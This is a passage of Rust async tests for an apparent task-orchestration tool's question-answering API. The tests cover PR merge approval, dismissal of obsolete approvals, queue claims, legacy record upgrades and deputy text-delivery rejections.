12658            if owner != "missing" {
12659                fx.queue().put(&mut task).unwrap();
12660            }
12661            let ui = Arc::new(Ui::new(
12662                fx.queue(),
12663                fx.questions(),
12664                fx.talks(),
12665                fx.runs(),
12666                fx.home.path().into(),
12667                state.repo.clone(),
12668            ));
12669            let response = question_answer(
12670                State(ui),
12671                Path(q.id.clone()),
12672                Ok(Json(NewAnswer {
12673                    choice: Some(crate::merge_decision::DISMISS.into()),
12674                    text: None,
12675                    ..Default::default()
12676                })),
12677            )
12678            .await
12679            .unwrap();
12680            assert_eq!(
12681                response.0.question.resolution().as_deref(),
12682                Some(crate::merge_decision::DISMISS)
12683            );
12684            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12685            assert_eq!(disk.status, RunStatus::Superseded);
12686            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12687            assert!(!crate::merge_decision::resumable_hold(&disk));
12688            assert_eq!(
12689                serde_json::to_value(&disk.pr).unwrap(),
12690                serde_json::to_value(&stale.pr).unwrap()
12691            );
12692            assert_eq!(fx.questions().count_open(), 0);
12693            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12694            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12695            if owner == "missing" {
12696                assert!(fx.queue().list().is_empty());
12697            } else {
12698                let after = fx.queue().get(&task.id).unwrap();
12699                assert_eq!(
12700                    after.status,
12701                    if owner == "current" {
12702                        TaskStatus::Done
12703                    } else {
12704                        task.status
12705                    }
12706                );
12707                assert_eq!(after.runs, task.runs);
12708                assert_eq!(after.instruction, task.instruction);
12709                assert_eq!(after.action_applied(&q.id), owner == "current");
12710            }
12711        }
12712    }
12713
12714    #[tokio::test]
12715    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12716        let fx = Fixture::start().await;
12717        let mut state = obsolete_approval_state();
12718        state.status = RunStatus::Landing;
12719        state.parked = true;
12720        state.driver_exited = true;
12721        let mut q = Question::new(
12722            state.id.clone(),
12723            crate::land::APPROVAL_NODE.into(),
12724            "land".into(),
12725            "Superseded PR approval".into(),
12726            "Original review evidence".into(),
12727            vec!["merge".into(), "hold".into()],
12728        );
12729        state.land_approval = Some(crate::run::LandApproval {
12730            question: q.id.clone(),
12731            head: "old-reviewed-head".into(),
12732        });
12733        // The old persisted PR may still say open even when a separate change
12734        // already landed. Dismissal must not use that snapshot to close it.
12735        state.save_under(fx.home.path()).unwrap();
12736        let stale_driver = state.clone();
12737        fx.questions().put(&mut q).unwrap();
12738        let path = fx
12739            .home
12740            .path()
12741            .join("questions")
12742            .join(format!("{}.json", q.id));
12743        let mut legacy = serde_json::to_value(&q).unwrap();
12744        legacy["schema"] = 9.into();
12745        legacy.as_object_mut().unwrap().remove("merge_target");
12746        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12747
12748        // POST without GET tests legacy upgrade and validation at the actual
12749        // entry point, rather than constructing a modern card in the test.
12750        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12751        let answer_path = format!("/api/questions/{}/answer", q.id);
12752        let res = fx.post(&answer_path, Some(&body)).await;
12753        assert_eq!(res.status, 200, "{}", res.body);
12754        let disk = fx.questions().get(&q.id).unwrap();
12755        assert_eq!(
12756            disk.resolution().as_deref(),
12757            Some(crate::merge_decision::DISMISS)
12758        );
12759        assert!(disk.detail.starts_with("Original review evidence"));
12760        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12761        assert_eq!(retired.status, RunStatus::Superseded);
12762        assert_eq!(
12763            serde_json::to_value(&retired.pr).unwrap(),
12764            serde_json::to_value(&state.pr).unwrap()
12765        );
12766        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12767        assert!(!crate::merge_decision::resumable_hold(&retired));
12768        assert!(fx.queue().list().is_empty());
12769        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12770        // A restarted server re-reads the persisted pending list.
12771        let addr = Fixture::serve(
12772            fx.home.path(),
12773            PathBuf::from("/repo/magi"),
12774            launch_idle,
12775            None,
12776        )
12777        .await;
12778        let reconnected = Fixture {
12779            home: fx.home,
12780            addr,
12781        };
12782        let listed = reconnected.get("/api/questions").await.json();
12783        assert!(
12784            listed
12785                .as_array()
12786                .unwrap()
12787                .iter()
12788                .all(|q| q["status"] != "open")
12789        );
12790        assert_eq!(listed[0]["id"], q.id, "history remains available");
12791        assert_eq!(
12792            reconnected.get("/api/health").await.json()["questions_open"],
12793            0
12794        );
12795        assert_eq!(
12796            reconnected
12797                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12798                .await
12799                .status,
12800            409
12801        );
12802        // A late waiter cannot turn the old answer into a new decision.
12803        assert!(
12804            reconnected
12805                .questions()
12806                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12807                .is_err()
12808        );
12809        // The same guard used by claims, repair and publication rejects a
12810        // saved in-memory driver as well as the persisted terminal record.
12811        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12812    }
12813
12814    #[tokio::test]
12815    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12816        let fx = Fixture::start().await;
12817        let mut state = obsolete_approval_state();
12818        state.status = RunStatus::Landing;
12819        state.driver_exited = true;
12820        let mut q = Question::new(
12821            state.id.clone(),
12822            crate::land::APPROVAL_NODE.into(),
12823            "land".into(),
12824            "Obsolete approval".into(),
12825            String::new(),
12826            vec!["merge".into(), "hold".into()],
12827        );
12828        state.land_approval = Some(crate::run::LandApproval {
12829            question: q.id.clone(),
12830            head: "head".into(),
12831        });
12832        state.save_under(fx.home.path()).unwrap();
12833        fx.questions().put(&mut q).unwrap();
12834        let mut task = Task::new(
12835            "Owner".into(),
12836            "Original instruction".into(),
12837            state.repo.clone(),
12838            Source::Human,
12839        );
12840        task.runs = vec![state.id.clone(), "later-run".into()];
12841        fx.queue().put(&mut task).unwrap();
12842        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12843        let claim = fx.queue().claim(&task.id).unwrap();
12844        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12845        let path = format!("/api/questions/{}/answer", q.id);
12846        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12847        assert!(fx.questions().get(&q.id).unwrap().status.open());
12848        drop(claim);
12849        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12850        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12851        assert!(fx.questions().get(&q.id).unwrap().status.open());
12852        drop(publication);
12853        // Unknown liveness and armed auto-merge both fail without settling.
12854        state.driver_exited = false;
12855        state.driver_pid = None;
12856        state.driver_claimed = None; // No durable proof of an unstarted execution.
12857        state.save_under(fx.home.path()).unwrap();
12858        assert_eq!(
12859            state.liveness_under(fx.home.path(), false),
12860            crate::run::Liveness::Unknown
12861        );
12862
12863        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12864        state.driver_exited = true;
12865        state.land_armed_head = Some("head".into());
12866        state.save_under(fx.home.path()).unwrap();
12867        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12868        state.land_armed_head = None;
12869        state.save_under(fx.home.path()).unwrap();
12870        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12871        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12872        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12873    }
12874
12875    #[tokio::test]
12876    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12877        let fx = Fixture::start().await;
12878        let mut state = obsolete_approval_state();
12879        state.status = RunStatus::Landing;
12880        state.driver_exited = true;
12881        let mut q = Question::new(
12882            state.id.clone(),
12883            crate::land::APPROVAL_NODE.into(),
12884            "land".into(),
12885            "Obsolete approval".into(),
12886            String::new(),
12887            vec!["merge".into(), "hold".into()],
12888        );
12889        state.land_approval = Some(crate::run::LandApproval {
12890            question: q.id.clone(),
12891            head: "head".into(),
12892        });
12893        state.save_under(fx.home.path()).unwrap();
12894        fx.questions().put(&mut q).unwrap();
12895        let mut task = Task::new(
12896            "Owner".into(),
12897            "Original instruction".into(),
12898            state.repo.clone(),
12899            Source::Human,
12900        );
12901        task.runs.push(state.id.clone());
12902        task.status = TaskStatus::Parked;
12903        fx.queue().put(&mut task).unwrap();
12904        // Model a crash after the run stop was persisted but before the queue
12905        // and answered question were flushed. Retrying must finish, not resume.
12906        state.merge_decision = Some(crate::merge_decision::Decision {
12907            question: q.id.clone(),
12908            target: crate::merge_decision::Target {
12909                pr: state.pr.as_ref().unwrap().url.clone(),
12910                head: "head".into(),
12911                language: "ja".into(),
12912            },
12913            choice: crate::merge_decision::DISMISS.into(),
12914            closed: false,
12915            replacement_run: None,
12916            replacement_pr: None,
12917        });
12918        state.status = RunStatus::Superseded;
12919        state.save_under(fx.home.path()).unwrap();
12920        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12921        let path = format!("/api/questions/{}/answer", q.id);
12922        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12923        let done = fx.queue().get(&task.id).unwrap();
12924        assert_eq!(done.status, TaskStatus::Done);
12925        assert_eq!(done.runs, task.runs);
12926        assert_eq!(done.instruction, task.instruction);
12927        assert!(done.action_applied(&q.id));
12928        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12929        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12930        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12931    }
12932
12933    #[tokio::test]
12934    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12935        let home = TempDir::new().unwrap();
12936        let ui = Arc::new(Ui::new(
12937            Queue::at(home.path().join("queue")),
12938            Questions::at(home.path().join("questions")),
12939            Talks::at(home.path().join("talks")),
12940            home.path().join("runs"),
12941            home.path().to_owned(),
12942            home.path().to_owned(),
12943        ));
12944        let talks = &ui.talks;
12945        let chat =
12946            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12947        let mut q = Question::new(
12948            "run".into(),
12949            crate::land::APPROVAL_NODE.into(),
12950            "land".into(),
12951            "Merge?".into(),
12952            String::new(),
12953            vec!["merge".into(), "hold".into()],
12954        );
12955        q.routed_task = Some("task".into());
12956        q.routed_chat = Some(chat.id.clone());
12957        q.merge_target = Some(crate::merge_decision::Target {
12958            pr: "https://example.test/pull/1".into(),
12959            head: "head-a".into(),
12960            language: "en".into(),
12961        });
12962        ui.questions.put(&mut q).unwrap();
12963        let send = |body| {
12964            question_answer(
12965                State(ui.clone()),
12966                Path(q.id.clone()),
12967                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12968            )
12969        };
12970        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12971        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12972        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12973        assert!(send(wrong_chat).await.is_err());
12974        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12975        assert!(send(stale).await.is_err());
12976        assert!(ui.questions.get(&q.id).unwrap().status.open());
12977        assert!(send(button.clone()).await.is_ok());
12978        assert_eq!(
12979            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12980            Some("merge")
12981        );
12982        assert!(send(button).await.is_err());
12983    }
12984
12985    #[tokio::test]
12986    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12987        let home = TempDir::new().unwrap();
12988        let ui = Arc::new(Ui::new(
12989            Queue::at(home.path().join("queue")),
12990            Questions::at(home.path().join("questions")),
12991            Talks::at(home.path().join("talks")),
12992            home.path().join("runs"),
12993            home.path().to_owned(),
12994            home.path().to_owned(),
12995        ));
12996        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12997            let mut q = Question::new(
12998                "run".into(),
12999                crate::land::APPROVAL_NODE.into(),
13000                "land".into(),
13001                "Merge?".into(),
13002                String::new(),
13003                vec!["merge".into(), choice.into()],
13004            );
13005            q.routed_task = Some("task".into());
13006            q.merge_target = Some(crate::merge_decision::Target {
13007                pr: "https://example.test/pull/1".into(),
13008                head: "head-a".into(),
13009                language: "en".into(),
13010            });
13011            ui.questions.put(&mut q).unwrap();
13012            let answer = |c: &str| {
13013                question_answer(
13014                    State(ui.clone()),
13015                    Path(q.id.clone()),
13016                    Ok(Json(
13017                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13018                            .unwrap(),
13019                    )),
13020                )
13021            };
13022            let _ = answer(choice).await.unwrap();
13023            assert_eq!(
13024                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13025                Some(choice)
13026            );
13027        }
13028    }
13029
13030    #[tokio::test]
13031    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13032        let home = TempDir::new().unwrap();
13033        let ui = Arc::new(Ui::new(
13034            Queue::at(home.path().join("queue")),
13035            Questions::at(home.path().join("questions")),
13036            Talks::at(home.path().join("talks")),
13037            home.path().join("runs"),
13038            home.path().to_owned(),
13039            home.path().to_owned(),
13040        ));
13041        let mut q = Question::new(
13042            "run".into(),
13043            crate::github_text::ASK_NODE.into(),
13044            "posting-gate".into(),
13045            "Post?".into(),
13046            String::new(),
13047            vec!["use fallback".into()],
13048        );
13049        q.routed_task = Some("task".into());
13050        ui.questions.put(&mut q).unwrap();
13051        let sent = question_answer(
13052            State(ui.clone()),
13053            Path(q.id.clone()),
13054            Ok(Json(
13055                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13056                    .unwrap(),
13057            )),
13058        )
13059        .await;
13060        let _ = sent.unwrap();
13061        assert_eq!(
13062            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13063            Some("use fallback")
13064        );
13065    }
13066
13067    #[tokio::test]
13068    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13069        let fx = Fixture {
13070            home: TempDir::new().unwrap(),
13071            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13072        };
13073        for choice in [
13074            crate::land::HOLD,
13075            crate::land::REPAIR,
13076            crate::land::APPROVE,
13077            crate::merge_decision::WITHDRAW,
13078            "reimplement:beta",
13079        ] {
13080            let mut q = Question::new(
13081                "old-run".into(),
13082                crate::land::APPROVAL_NODE.into(),
13083                "land".into(),
13084                "Decision".into(),
13085                "Review findings".into(),
13086                vec![
13087                    "merge".into(),
13088                    "hold".into(),
13089                    crate::land::REPAIR.into(),
13090                    crate::merge_decision::WITHDRAW.into(),
13091                    "reimplement:beta".into(),
13092                ],
13093            );
13094            q.merge_target = Some(crate::merge_decision::Target {
13095                pr: "https://github.com/example/repo/pull/42".into(),
13096                head: "exact-reviewed-head".into(),
13097                language: "ja".into(),
13098            });
13099            q.consult = Some(ask::ChatConsult {
13100                talk: "another-conversation".into(),
13101                at: jiff::Timestamp::now(),
13102            });
13103            fx.questions().put(&mut q).unwrap();
13104            let ui = Arc::new(Ui::new(
13105                fx.queue(),
13106                fx.questions(),
13107                fx.talks(),
13108                fx.runs(),
13109                fx.home.path().into(),
13110                std::path::PathBuf::from("."),
13111            ));
13112            let response = question_answer(
13113                State(ui.clone()),
13114                Path(q.id.clone()),
13115                Ok(Json(NewAnswer {
13116                    choice: Some(choice.into()),
13117                    text: None,
13118                    ..Default::default()
13119                })),
13120            )
13121            .await
13122            .unwrap();
13123            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13124            let disk = fx.questions().get(&q.id).unwrap();
13125            assert_eq!(disk.merge_target, q.merge_target);
13126            assert_eq!(disk.consult, q.consult);
13127            assert_eq!(disk.resolution().as_deref(), Some(choice));
13128            assert!(
13129                question_answer(
13130                    State(ui),
13131                    Path(q.id.clone()),
13132                    Ok(Json(NewAnswer {
13133                        choice: Some("merge".into()),
13134                        text: None,
13135                        ..Default::default()
13136                    }))
13137                )
13138                .await
13139                .is_err(),
13140                "an already settled decision cannot turn into merge approval"
13141            );
13142        }
13143    }
13144
13145    #[tokio::test]
13146    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13147        let fx = Fixture {
13148            home: TempDir::new().unwrap(),
13149            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13150        };
13151        let mut state = crate::land::tests::repair_state(true, true);
13152        state.status = RunStatus::Landing;
13153        state.parked = true;
13154        state.driver_exited = true;
13155        let mut task = Task::new(
13156            "Existing PR owner".into(),
13157            state.instruction.clone(),
13158            state.repo.clone(),
13159            Source::Human,
13160        );
13161        task.runs.push(state.id.clone());
13162        task.status = TaskStatus::Parked;
13163        fx.queue().put(&mut task).unwrap();
13164        let mut q = Question::new(
13165            state.id.clone(),
13166            crate::land::APPROVAL_NODE.into(),
13167            "land".into(),
13168            "Contested merge".into(),
13169            "Original evidence".into(),
13170            vec!["merge".into(), "hold".into()],
13171        );
13172        state.land_approval = Some(crate::run::LandApproval {
13173            question: q.id.clone(),
13174            head: "reviewed-head".into(),
13175        });
13176        state.save_under(fx.home.path()).unwrap();
13177        fx.questions().put(&mut q).unwrap();
13178        // A later repair answer on this old card supersedes this manual hold.
13179        task.hold_manual(Some("Pause this PR".into()));
13180        fx.queue().put(&mut task).unwrap();
13181        // POST directly, without a preceding GET: validation must see the
13182        // same durable upgrade that the card, CLI and chat see.
13183        let ui = Arc::new(Ui::new(
13184            fx.queue(),
13185            fx.questions(),
13186            fx.talks(),
13187            fx.runs(),
13188            fx.home.path().to_path_buf(),
13189            state.repo.clone(),
13190        ));
13191        let response = question_answer(
13192            State(ui),
13193            Path(q.id.clone()),
13194            Ok(Json(NewAnswer {
13195                choice: Some(crate::land::REPAIR.into()),
13196                text: None,
13197                ..Default::default()
13198            })),
13199        )
13200        .await
13201        .unwrap();
13202        assert_eq!(response.0.question.id, q.id);
13203        let upgraded = fx.questions().get(&q.id).unwrap();
13204        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13205        assert!(upgraded.detail.starts_with("Original evidence"));
13206        let claim = fx.queue().claim(&task.id).unwrap();
13207        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13208        assert!(
13209            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13210            "an existing driver keeps its claim"
13211        );
13212        drop(claim);
13213        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13214        let resumed = fx.queue().get(&task.id).unwrap();
13215        assert_eq!(
13216            resumed
13217                .resume_override
13218                .as_ref()
13219                .unwrap()
13220                .pinned_run
13221                .as_deref(),
13222            Some(state.id.as_str())
13223        );
13224        assert!(resumed.status.runnable());
13225        assert_eq!(resumed.instruction, task.instruction);
13226        assert_eq!(resumed.runs, task.runs);
13227        assert!(resumed.action_applied(&q.id));
13228        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13229        assert_eq!(fx.queue().list().len(), 1);
13230        assert_eq!(
13231            fx.queue().get(&task.id).unwrap().resume_override,
13232            resumed.resume_override
13233        );
13234        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13235        assert!(
13236            disk.merge_repairs.is_empty(),
13237            "only the claimed run driver may execute repair"
13238        );
13239        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13240    }
13241
13242    #[tokio::test]
13243    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13244        let fx = Fixture::start().await;
13245        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13246        let path = format!("/api/questions/{id}/answer");
13247
13248        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13249        assert_eq!(res.status, 200, "{}", res.body);
13250        let body = res.json();
13251        assert_eq!(body["status"], "answered");
13252        assert_eq!(body["answer"]["choice"], "Redis");
13253
13254        // Answered from the terminal in between the list and the tap: the UI
13255        // must be able to tell this from a bad request, so it can show the
13256        // recorded answer instead of an error.
13257        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13258        assert_eq!(again.status, 409, "{}", again.body);
13259        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13260    }
13261
13262    #[tokio::test]
13263    async fn fresh_api_answers_survive_task_inquiry_migration() {
13264        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13265        for migrate_first in [false, true] {
13266            let fx = Fixture::start().await;
13267            let mut task = Task::new(
13268                "work".into(),
13269                "work".into(),
13270                PathBuf::from("/repo/magi"),
13271                Source::Human,
13272            );
13273            task.runs.push("run-a".into());
13274            fx.queue().put(&mut task).unwrap();
13275            let mut q = Question::new(
13276                "run-a".into(),
13277                "implement".into(),
13278                "impl-A".into(),
13279                "Keep held?".into(),
13280                String::new(),
13281                vec!["hold".into()],
13282            );
13283            q.actions.insert("hold".into(), ChoiceAction::Hold);
13284            fx.questions().put(&mut q).unwrap();
13285            if migrate_first {
13286                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13287            }
13288            let response = fx
13289                .post(
13290                    &format!("/api/questions/{}/answer", q.id),
13291                    Some(r#"{"choice":"hold"}"#),
13292                )
13293                .await;
13294            assert_eq!(response.status, 200, "{}", response.body);
13295            for _ in 0..2 {
13296                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13297                let source = fx.questions().get(&q.id).unwrap();
13298                assert_eq!(source.resolution().as_deref(), Some("hold"));
13299                let decision = Outbox::at(fx.home.path())
13300                    .get(&q.id)
13301                    .unwrap()
13302                    .decision
13303                    .unwrap();
13304                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13305                assert_eq!(decision.source_answer_at, source.answered_at);
13306                assert_eq!(decision.status, Status::Queued);
13307            }
13308            assert_eq!(
13309                fx.post(
13310                    &format!("/api/questions/{}/answer", q.id),
13311                    Some(r#"{"choice":"hold"}"#)
13312                )
13313                .await
13314                .status,
13315                409
13316            );
13317        }
13318    }
13319
13320    #[tokio::test]
13321    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13322        let home = tempfile::tempdir().unwrap();
13323        let ui = delta_test_ui(home.path());
13324        let mut q = Question::new(
13325            "task".into(),
13326            crate::land::APPROVAL_NODE.into(),
13327            "land".into(),
13328            "Explain?".into(),
13329            String::new(),
13330            vec!["hold".into()],
13331        );
13332        q.deputy = Some(ask::Deputy::new("context".into()));
13333        ui.questions.put(&mut q).unwrap();
13334        let mut cfg = stub_config();
13335        cfg.daemon.max_deputies = 0;
13336        let mut status = crate::daemon::Status::new();
13337        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13338        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13339        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13340        let error = question_say(
13341            State(ui.clone()),
13342            Path(q.id.clone()),
13343            Ok(Json(NewSay {
13344                body: "Explain the findings".into(),
13345            })),
13346        )
13347        .await
13348        .unwrap_err();
13349        assert_eq!(
13350            error.text_reason,
13351            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13352        );
13353        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13354
13355        let mut text = Question::new(
13356            "task".into(),
13357            "ask".into(),
13358            "operator".into(),
13359            "Which name?".into(),
13360            String::new(),
13361            vec![],
13362        );
13363        ui.questions.put(&mut text).unwrap();
13364        let Json(view) = question_answer(
13365            State(ui.clone()),
13366            Path(text.id.clone()),
13367            Ok(Json(NewAnswer {
13368                choice: None,
13369                text: Some("chosen name".into()),
13370                ..Default::default()
13371            })),
13372        )
13373        .await
13374        .unwrap();
13375        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13376        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13377    }
13378
13379    #[tokio::test]
13380    async fn question_text_handler_admission_without_transport() {
13381        let home = tempfile::tempdir().unwrap();
13382        let ui = delta_test_ui(home.path());
13383        let mut q = Question::new(
13384            "task".into(),
13385            crate::land::APPROVAL_NODE.into(),
13386            "land".into(),
13387            "May this PR merge?".into(),
13388            String::new(),
13389            vec!["hold".into()],
13390        );
13391        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13392        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13393        ui.questions.put(&mut q).unwrap();
13394        let say = || {
13395            Ok(Json(NewSay {
13396                body: "Explain the findings".into(),
13397            }))
13398        };
13399        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13400            .await
13401            .unwrap_err();
13402        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13403        let response = rejected.into_response();
13404        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13405            .await
13406            .unwrap();
13407        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13408        assert_eq!(body["code"], "question_text_unavailable");
13409        assert_eq!(body["reason"], "deputy_exhausted");
13410        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13411        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13412        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13413        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13414            .await
13415            .unwrap();
13416        assert_eq!(view.text_delivery.state, "live");
13417        assert!(view.question.waiter.is_none());
13418        assert!(view.question.cwd.is_none());
13419        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13420        ui.questions.drop_lease(&q.id);
13421        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13422            .await
13423            .unwrap_err();
13424        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13425        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13426        let _ = question_answer(
13427            State(ui.clone()),
13428            Path(q.id.clone()),
13429            Ok(Json(NewAnswer {
13430                choice: Some("hold".into()),
13431                text: None,
13432                ..Default::default()
13433            })),
13434        )
13435        .await
13436        .unwrap();
13437        assert_eq!(
13438            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13439            Some("hold")
13440        );
13441    }
13442
13443    #[tokio::test]
13444    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13445        let fx = Fixture::start().await;
13446        let store = fx.questions();
13447        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13448        store
13449            .update(&id, |q| {
13450                q.node = crate::land::APPROVAL_NODE.to_owned();
13451                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13452                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13453                Ok(())
13454            })
13455            .unwrap();
13456        let path = format!("/api/questions/{id}/say");
13457        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13458        assert_eq!(refused.status, 422, "{}", refused.body);
13459        assert!(
13460            refused.json()["error"]
13461                .as_str()
13462                .unwrap()
13463                .contains("deputy_exhausted")
13464        );
13465        assert!(store.get(&id).unwrap().thread.is_empty());
13466
13467        // A final live deputy is usable even with no ordinary waiter/cwd.
13468        store.beat(&id, ask::WaiterKind::Deputy);
13469        let view = fx.get("/api/questions").await.json();
13470        assert_eq!(view[0]["text_delivery"]["state"], "live");
13471        let accepted = fx
13472            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13473            .await;
13474        assert_eq!(accepted.status, 200, "{}", accepted.body);
13475        let before = std::fs::read(store.path_of(&id)).unwrap();
13476
13477        // The recipient exits between rendering and sending. Rejection must
13478        // preserve previously accepted text, the answer and delivery cursor.
13479        store.drop_lease(&id);
13480        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13481        assert_eq!(refused.status, 422, "{}", refused.body);
13482        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13483        let held = fx
13484            .post(
13485                &format!("/api/questions/{id}/answer"),
13486                Some(r#"{"choice":"hold"}"#),
13487            )
13488            .await;
13489        assert_eq!(held.status, 200, "{}", held.body);
13490        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13491    }
13492
13493    #[tokio::test]
13494    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13495        let repo = tempfile::tempdir().unwrap();
13496        let mut cfg = stub_config();
13497        cfg.daemon.max_deputies = 0;
13498        std::fs::write(
13499            repo.path().join("magi.toml"),
13500            toml::to_string(&cfg).unwrap(),
13501        )
13502        .unwrap();
13503        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13504        let mut status = crate::daemon::Status::new();
13505        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13506        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13507        let id = ask(&fx, "Explain?", &["hold"]);
13508        fx.questions()
13509            .update(&id, |q| {
13510                q.node = crate::land::APPROVAL_NODE.into();
13511                q.deputy = Some(ask::Deputy::new("context".into()));
13512                q.deputy.as_mut().unwrap().agent = "stub".into();
13513                Ok(())
13514            })
13515            .unwrap();
13516        cfg.daemon.max_deputies = 1;
13517        std::fs::write(
13518            repo.path().join("magi.toml"),
13519            toml::to_string(&cfg).unwrap(),
13520        )
13521        .unwrap();
13522        let view = fx.get("/api/questions").await.json();
13523        assert_eq!(view[0]["deputies_enabled"], true);
13524        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13525        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13526        let res = fx
13527            .post(
13528                &format!("/api/questions/{id}/say"),
13529                Some(r#"{"body":"Please explain"}"#),
13530            )
13531            .await;
13532        assert_eq!(res.status, 422, "{}", res.body);
13533        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13534    }
13535
13536    #[tokio::test]
13537    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
